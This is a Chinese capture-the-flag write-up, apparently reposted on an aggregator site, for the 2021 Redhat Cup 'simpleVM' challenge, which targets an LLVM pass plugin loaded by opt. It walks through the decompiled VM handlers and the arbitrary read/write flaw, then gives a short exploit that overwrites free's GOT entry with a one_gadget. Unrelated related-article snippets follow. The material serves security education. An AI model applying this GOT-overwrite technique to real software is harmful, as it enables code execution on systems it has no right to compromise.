CTF-PWN-LLVM-【红帽杯-2021 simpleVM】

news2024/11/27 0:48:18

文章目录

  • 参考
  • 检查
  • 逆向
  • 漏洞
  • 思路
  • 调试
  • 定位到PASS名
  • exp

参考

https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6

http://www.blackbird.wang/2022/08/30/LLVM-PASS%E7%B1%BBpwn%E9%A2%98%E6%80%BB%E7%BB%93/

检查

因为是用opt运行,加载动态库VMPASS.so的PASS类,再通过该PASS类对IR进行优化,所以pwn的是opt
在这里插入图片描述

逆向

搜索vtable定位到虚表,最下面的函数就是重写的虚函数runOnFunction
在这里插入图片描述
检查你优化的程序中的函数名,存在为o0o0o0o0就会调用sub_6AC0
在这里插入图片描述
以块为单位遍历该函数

在这里插入图片描述

然后调用sub_6B80处理块

__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *basic_block)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  command[1] = __readfsqword(0x28u);
  command[0] = llvm::BasicBlock::begin(basic_block);
  while ( 1 )
  {
    end = llvm::BasicBlock::end(basic_block);
    if ( (llvm::operator!=(command, &end) & 1) == 0 )
      break;
    v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(command);
    if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )// 遇到call指令
    {
      v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);// 转换为call指令对应的指针
      if ( v35 )
      {
        name = (char *)malloc(0x20uLL);
        CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
        v37 = (_QWORD *)llvm::Value::getName(CalledFunction);
        *(_QWORD *)name = *v37;
        *((_QWORD *)name + 1) = v37[1];
        *((_QWORD *)name + 2) = v37[2];
        *((_QWORD *)name + 3) = v37[3];
        if ( !strcmp(name, "pop") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            ArgOperand = llvm::CallBase::getArgOperand(v35, 0);
            v32 = 0LL;
            v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
            if ( v31 )
            {
              ZExtValue = llvm::ConstantInt::getZExtValue(v31);
              if ( ZExtValue == 1 )
                v32 = off_20DFD0;
              if ( ZExtValue == 2 )
                v32 = off_20DFC0;
            }
            if ( v32 )
            {
              v3 = sp_point;
              *v32 = *(_QWORD *)*sp_point;
              *v3 = (char *)*v3 - 8;
            }
          }
        }
        else if ( !strcmp(name, "push") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v29 = llvm::CallBase::getArgOperand(v35, 0);
            v28 = 0LL;
            v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
            if ( v27 )
            {
              v26 = llvm::ConstantInt::getZExtValue(v27);
              if ( v26 == 1 )
                v28 = off_20DFD0;
              if ( v26 == 2 )
                v28 = off_20DFC0;
            }
            if ( v28 )
            {
              v4 = sp_point;
              *sp_point = (char *)*sp_point + 8;
              *(_QWORD *)*v4 = *v28;
            }
          }
        }
        else if ( !strcmp(name, "store") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v25 = llvm::CallBase::getArgOperand(v35, 0);
            v24 = 0LL;
            v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
            if ( v23 )
            {
              v22 = llvm::ConstantInt::getZExtValue(v23);
              if ( v22 == 1 )
                v24 = off_20DFD0;
              if ( v22 == 2 )
                v24 = off_20DFC0;
            }
            if ( v24 == off_20DFD0 )
            {
              **(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
            }
            else if ( v24 == off_20DFC0 )
            {
              **(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
            }
          }
        }
        else if ( !strcmp(name, "load") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v21 = llvm::CallBase::getArgOperand(v35, 0);
            v20 = 0LL;
            v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
            if ( v19 )
            {
              v18 = llvm::ConstantInt::getZExtValue(v19);
              if ( v18 == 1 )
                v20 = off_20DFD0;
              if ( v18 == 2 )
                v20 = off_20DFC0;
            }
            if ( v20 == off_20DFD0 )
              *(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
            if ( v20 == off_20DFC0 )
              *(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
          }
        }
        else if ( !strcmp(name, "add") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
          {
            v17 = llvm::CallBase::getArgOperand(v35, 0);
            v16 = 0LL;
            v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
            if ( v15 )
            {
              v14 = llvm::ConstantInt::getZExtValue(v15);
              if ( v14 == 1 )
                v16 = off_20DFD0;
              if ( v14 == 2 )
                v16 = off_20DFC0;
            }
            if ( v16 )
            {
              v13 = llvm::CallBase::getArgOperand(v35, 1u);
              v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
              if ( v12 )
                *v16 += llvm::ConstantInt::getZExtValue(v12);
            }
          }
        }
        else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
        {
          v11 = llvm::CallBase::getArgOperand(v35, 0);
          v10 = 0LL;
          v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
          if ( v9 )
          {
            v8 = llvm::ConstantInt::getZExtValue(v9);
            if ( v8 == 1 )
              v10 = off_20DFD0;
            if ( v8 == 2 )
              v10 = off_20DFC0;
          }
          if ( v10 )
          {
            v7 = llvm::CallBase::getArgOperand(v35, 1u);
            v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
            if ( v6 )
              *v10 -= llvm::ConstantInt::getZExtValue(v6);
          }
        }
        free(name);
      }
    }
    llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
      command,
      0LL);
  }
  return 1LL;
}

漏洞

在这里插入图片描述
根据指定的寄存器,将指定的寄存器的值指向的内容赋值给另一个寄存器
在这里插入图片描述
根据指定的寄存器,将另一个寄存器赋值给指定的寄存器的值指向的内容

存在任意地址读写

思路

没开pie,通过任意地址读写修改修改free的got表为gadget,因为opt优化调用的函数最后会free
在这里插入图片描述
不太行,调用的不是pie中的free,使用其他函数在最后的free,
在这里插入图片描述
在这里插入图片描述
而如果最终到call free的指令,此时rbp为0,会出现段错误
在这里插入图片描述

这里参考winmt师傅的做法
在这里插入图片描述
选择这个
在这里插入图片描述
got表,发现两个got表,都试试吧

在这里插入图片描述
第二个失败,上面的那个成功

调试

clang-8 -emit-llvm -S exp.c -o exp.bc或者
clang-8 -emit-llvm -S exp.c -o exp.ll
opt-8 -load ./VMPass.so -VMPass ./exp.bc

调试opt然后跟进到so文件
在这里插入图片描述
opt并不会一开始就将so模块加载进来,会执行一些初始化函数才会加载so模块。
调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件(或者到main+11507),我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面
查看vmmap,发现已经加载进来,然后可以更加偏移断在runOnFunction上
在这里插入图片描述
在这里插入图片描述

成功
在这里插入图片描述
发现寄存器一开始是零,所以add相当于直接赋值了

在这里插入图片描述
找到got表

在这里插入图片描述

定位到PASS名

_cxa_atexit引用定位(在start函数里)
在这里插入图片描述
在这里插入图片描述

exp

add第二个参数用64位
在这里插入图片描述


void add(int arg1,int arg2);
void load(int arg1);
void store(int arg1);

void o0o0o0o0(){
    add(1,0x77e100);
    load(1); //将free的got表的内容复制给第二个寄存器
    add(2,0x4942e); //free的地址和onegadget的偏移
    add(1,0x870);
    store(1); //修改free的got表的内容

}//0xe3b04 0xe3b01 0000000000006F8F

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1875051.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ACM_2023】3D Gaussian Splatting for Real-Time Radiance Field Rendering

【ACM_2023】3D Gaussian Splatting for Real-Time Radiance Field Rendering 一、前言Abstract1 INTRODUCTION2 RELATED WORK2.1 Traditional Scene Reconstruction and Rendering2.2 Neural Rendering and Radiance Fields2.3 Point-Based Rendering and Radiance Fields 3 O…

15秒下雨短视频:成都柏煜文化传媒有限公司

15秒下雨短视频&#xff1a;瞬间的诗意与情感共鸣 在数字时代的浪潮中&#xff0c;短视频以其独特的魅力&#xff0c;成为了人们生活中不可或缺的一部分。其中&#xff0c;一段仅15秒的下雨短视频&#xff0c;成都柏煜文化传媒有限公司 或许在时间长河中只是一瞬间&#xff0c…

pdf已加密如何解除?解密密码的两个方法【可加密】

电脑文件加密的目的就是保护重要信息&#xff0c;防止数据泄露。如果需要解除密码&#xff0c;应该如何操作呢&#xff1f;pdf已加密如何解除&#xff1f;本文整理了以下两种解除文件方法&#xff0c;希望能够帮到有需要的朋友们&#xff01; 方法一、使用金舟文件夹加密大师解…

【环境配置】ubuntu中 Docker的安装

前言 Docker的使用&#xff0c;一直没有系统的梳理和记录&#xff0c;刚好最近看视频又再次的全面介绍到docker。于是记录下方便后面自己的使用&#xff0c;毕竟安装过程中还是会存在小的不丝滑。 1 Docker的简单介绍 这里的介绍来自于大模型的问答&#xff08;LLM时代的到来&a…

Python酷库之旅-第三方库openpyxl(15)

目录 一、 openpyxl库的由来 1、背景 2、起源 3、发展 4、特点 4-1、支持.xlsx格式 4-2、读写Excel文件 4-3、操作单元格 4-4、创建和修改工作表 4-5、样式设置 4-6、图表和公式 4-7、支持数字和日期格式 二、openpyxl库的优缺点 1、优点 1-1、支持现代Excel格式…

OpenAI推出自我改进AI- CriticGPT

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【Java】字节数组 pcm 与 wav 格式互转 (附原理概述)

前言 最近实现了一个文字转语音的功能&#xff0c;语音引擎返回的是pcm格式的数据。需要转化成wav格式前端才能播放。本文首先会给出解决方案&#xff0c;后续会讲背后的原理。 场景 git 仓库 https://github.com/ChenghanY/pcm-wav-converter 1. pcm wav 转化工具类 入参和…

将CSV、Excel、XML文件转换为MySQL数据库

在平时的工作中&#xff0c;经常会遇到需要将文件数据导入到数据库中的情况。有些客户之前可能只使用Excel表格作为记录工具&#xff0c;但当数据量达到一定程度或者需要将数据导入到其他系统中时&#xff0c;就会很emo,因为Excel表格虽然方便&#xff0c;但在数据处理和管理方…

ORB-SLAM2同OpenMVS实现三维重建

ORB-SLAM2 位姿导出 Note: 为与OpenMVS进行对接本次进对ORB-SLAM2进行部分修改&#xff0c;使之可以为 OpenMVS提供稀疏点云、关键帧的位姿、内参&#xff0c;以及稀疏点云在各个View 中的可见性。 主要更改如下 . 在Map文件下增添如下函数 public: void Save(const string &a…

面包板的使用

概要 当你学习怎样去建立一个电路时&#xff0c;面包板是最基本、最简单的元件之一。由于板子上有很多小插孔&#xff0c;各种电子元器件可根据需要任意插入或拔出&#xff0c;免去了焊接的工序&#xff0c;节省了电路的组装时间&#xff0c;且元件可以重复使用&#xff0c;非…

论文学习:基于知识图谱的RAG进行客服问答

1.简介 文章名称&#xff1a; Retrieval-Augmented Generation with Knowledge Graphs for Customer Service Question Answering&#xff08;基于知识图谱的RAG进行客服问答&#xff09; 2.摘要ABSTRACT 在客户服务技术支持中&#xff0c;迅速准确地检索相关的过往问题对于有…

爬虫笔记17——selenium框架的使用

selenium框架的使用 1、python程序安装selenium框架2、下载Chrome谷歌驱动3、selenium的基本使用4、多个标签页切换顺序混乱的问题 1、python程序安装selenium框架 # 在安装过程中最好限定框架版本为4.9.1 # pip install selenium 没有制定版本&#xff0c;非镜像下载也会比较…

node.js环境安装和VUE-cli脚手架搭建

简介 node.js Node.js 是一个免费、开源、跨平台的 JavaScript 运行时环境&#xff0c;它让开发人员能够创建服务器、Web 应用、命令行工具和脚本。 VUE-cli Vue CLI 是一个基于 Vue.js 进行快速开发的完整系统&#xff0c;提供&#xff1a; 通过 vue/cli 实现的交互式的项…

「C++系列」C++简介、应用领域

文章目录 一、C简介C 的主要特点&#xff1a;C 的学习建议&#xff1a; 二、C 应用领域三、C 有哪些优势四、C 初学案例1. Hello, World!2. 两数求和3. 判断奇偶4. 判断闰年5. 判断质数6. 求阶乘7. 斐波那契数列8. 延时程序&#xff08;简单示例&#xff09; 五、相关链接 一、…

xlsx插件简介

1. xlsx插件 1.1. 常用属性和方法 1.1.1. 创建新的工作簿1.1.2. 从数组生成工作表1.1.3. 添加工作表到工作簿1.1.4. 从HTML表格创建工作表1.1.5. 读取Excel文件1.1.6. 导出Excel文件1.1.7. 设置单元格样式 2. vue中如何使用xlsx 2.1. vue-xlsx的特点2.2. 常用属性和方法 2.2.1…

企业级堡垒机JumpServer

文章目录 JumpServer是什么生产应用场景 Docker安装JumpServer1.Docker安装2.MySQL服务安装3.Redis服务安装4.key生成5.JumpServer安装6.登录验证 系统设置邮箱服务器用户和用户组创建系统审计员资产管理用户创建资产节点资产授权查看用户的资产监控仪表盘 命令过滤器创建命令过…

基于STM32的智能家用电力管理系统

目录 引言环境准备智能家用电力管理系统基础代码实现&#xff1a;实现智能家用电力管理系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统实现4.4 用户界面与数据可视化应用场景&#xff1a;电力管理与优化问题解决方案与优化收尾与总结 1. 引言 智能家用电力管理系统通…

EXCEL 复制后转置粘贴

nodepad 转置参考&#xff1a; https://editor.csdn.net/md/?articleId140014651 1. WPS复制后转置粘贴 复制-》右键-》顶部第一行-》粘贴行列转置&#xff0c;如下图&#xff1a; 2. Excel office365 本地版 2. Excel office365 在线版

Python特征工程 — 1.1 特征二值化

目录 1 特征二值化 1.1 特征二值化简介 1.2 实验数据集 2 阈值法 2.1 scikit-learn库实现阈值法二值化 2.2 pandas实现阈值法二值化 2.3 自定义函数实现阈值法二值化 3 其他方法实现二值化 3.1 中位数法 3.2 众数法 3.3 标准差法 1 特征二值化 1.1 特征二值化简介…

国产操作系统上netstat命令详解 _ 统信 _ 麒麟 _ 中科方德

原文链接&#xff1a;国产操作系统上netstat命令详解 | 统信 | 麒麟 | 中科方德 Hello&#xff0c;大家好啊&#xff01;今天给大家带来一篇在国产操作系统上使用netstat命令的详解文章。netstat是网络统计&#xff08;network statistics&#xff09;的缩写&#xff0c;它是一…